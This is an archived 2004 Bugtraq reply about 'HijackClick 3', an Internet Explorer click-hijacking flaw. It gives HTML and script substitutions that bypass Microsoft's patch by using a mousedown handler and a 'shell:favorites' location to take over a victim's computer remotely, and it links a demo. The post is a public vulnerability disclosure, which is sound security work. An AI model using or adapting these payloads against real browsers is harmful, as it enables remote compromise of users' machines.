bugtraq - Re: HijackClick 3

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <200407121905.i6CJ5Z4Q006082@web115.megawebservers.com>
Date: Mon, 12 Jul 2004 19:05:35 -0000
From: "http-equiv@...ite.com" <1@...ware.com>
To: <bugtraq@...urityfocus.com>
Cc: <NTBugtraq@...tserv.ntbugtraq.com>
Subject: Re: HijackClick 3

<!-- 

Microsoft just disabled those functions from
being called when the mouse button is down and called it 
patched. No more hijackclick,
right?

Wrong. 

-->

This is absolutely fantastic Paul, with a patented double-click 
of the mouse we can remotely take over the target's computer:

Just substitute as follows:

1. <img src="greyhat.html" id=anch 
onmousedown="parent.nsc.style.width=2000;parent.nsc.style.height=
2000;parent.pop.show(1,1,1,1);parent.setTimeout('showalert
()',3000);" style="width=168px;height=152px;background-image:url
('youlickit.gif');cursor:hand" title="click me!"></a>

2. location="shell:favorites\\greyhat[1].htm"

Someone was querying the other day whether shell in Internet 
Explorer poses a problem [despite repeated demonstrations]. 
Pah ! Probably not.

Quick and Dirty Working Demo:

http://www.malware.com/paul.html

-- 
http://www.malware.com